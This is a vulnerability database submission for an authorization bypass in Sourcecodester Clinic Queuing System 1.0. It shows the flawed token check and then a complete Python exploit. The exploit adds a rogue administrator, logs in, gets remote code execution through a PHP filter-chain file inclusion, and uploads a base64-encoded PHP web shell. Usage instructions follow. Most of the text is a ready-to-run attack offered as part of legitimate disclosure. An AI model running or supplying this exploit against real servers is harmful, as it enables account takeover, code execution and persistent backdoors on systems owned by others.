| Title | Sourcecodester Clinic Queuing System 1.0 Authorization Bypass |
|---|
| Description | In Sourcecodester Clinic Queuing System 1.0 (https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html), the authorization mechanism in place has logic flaws allowing unauthenticated users to perform privileged actions.
This issue is systemic in endpoints /LoginRegistration.php and /Master.php. A snippet of vulnerable code can be seen below:
```php
$allowedToken = $_SESSION['formToken']['manage_user'];
if(!isset($formToken) || (isset($formToken) && $formToken != $allowedToken)){
```
In POST requests, set the formToken to blank and send the request without a cookie. This will make both the $_SESSION['formToken']['manage_user'] and $_POST['formToken'] to BLANK/NULL, making them EQUAL and bypassing the mechanism.
This issue was the first step in the RCE chain on the same product. The full RCE exploit code can be seen below:
```python
import requests
import random
import argparse
from bs4 import BeautifulSoup
parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()
base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"
def phase1():
rand_user = 'pwn_'+str(random.randint(100, 313))
rand_pass = 'pwn_'+str(random.randint(100, 313))
pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
print("[*] adding administrator " + rand_user + ":" + rand_pass)
phase1 = requests.post(phase1_url, pwn_user_data)
if "User Account has been added successfully." in phase1.text:
print("[+] Phase 1 Success - Admin user added!\n")
print("[*] Initiating Phase 2")
phase2(rand_user, rand_pass)
else:
print("[X] user creation failed :(")
die()
def phase2(user, password):
s = requests.Session();
login_data = {'formToken':'','username':user, 'password':password}
print("[*] Loggin in....")
phase2 = s.post(phase2_url, login_data)
if "Login successfully." in phase2.text:
print("[+] Login success")
else:
print("[X] Login failed.")
die()
print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
#print("[*] Payload: " + rce_url)
rce = s.get(rce_url)
if "jmrcsnchz" in rce.text:
print("[+] RCE success!")
soup = BeautifulSoup(rce.text, 'html.parser')
print("[+] Output of id: " + soup.pre.get_text())
print("[*] Uploading php backdoor....")
s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
print("[+] Access at " + base_url + "/rce.php?0=whoami")
else:
print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
die()
try:
print("[*] Initiating Phase 1")
phase1()
except:
print("Exploit failed.")
```
Usage: python3 clinicx.py 'http://localhost/clinic_system/' |
|---|
| Source | ⚠️ https://github.com/jmrcsnchz/ClinicQueueingSystem_RCE/ |
|---|
| User | Echidonut (UID 45929) |
|---|
| Submission | 01/03/2024 04:59 (3 years ago) |
|---|
| Moderation | 01/06/2024 09:52 (3 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 249820 [SourceCodester Clinic Queuing System 1.0 /LoginRegistration.php formToken authorization] |
|---|
| Points | 20 |
|---|